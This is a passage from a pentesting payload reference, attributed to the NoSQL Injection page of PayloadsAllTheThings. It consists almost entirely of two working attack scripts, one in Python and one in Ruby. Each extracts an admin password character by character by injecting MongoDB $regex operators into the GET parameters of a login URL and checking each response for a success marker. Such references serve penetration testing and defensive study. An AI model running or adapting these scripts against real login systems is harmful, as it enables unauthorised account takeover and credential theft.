GET

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby script:

require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end

Source: NoSQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.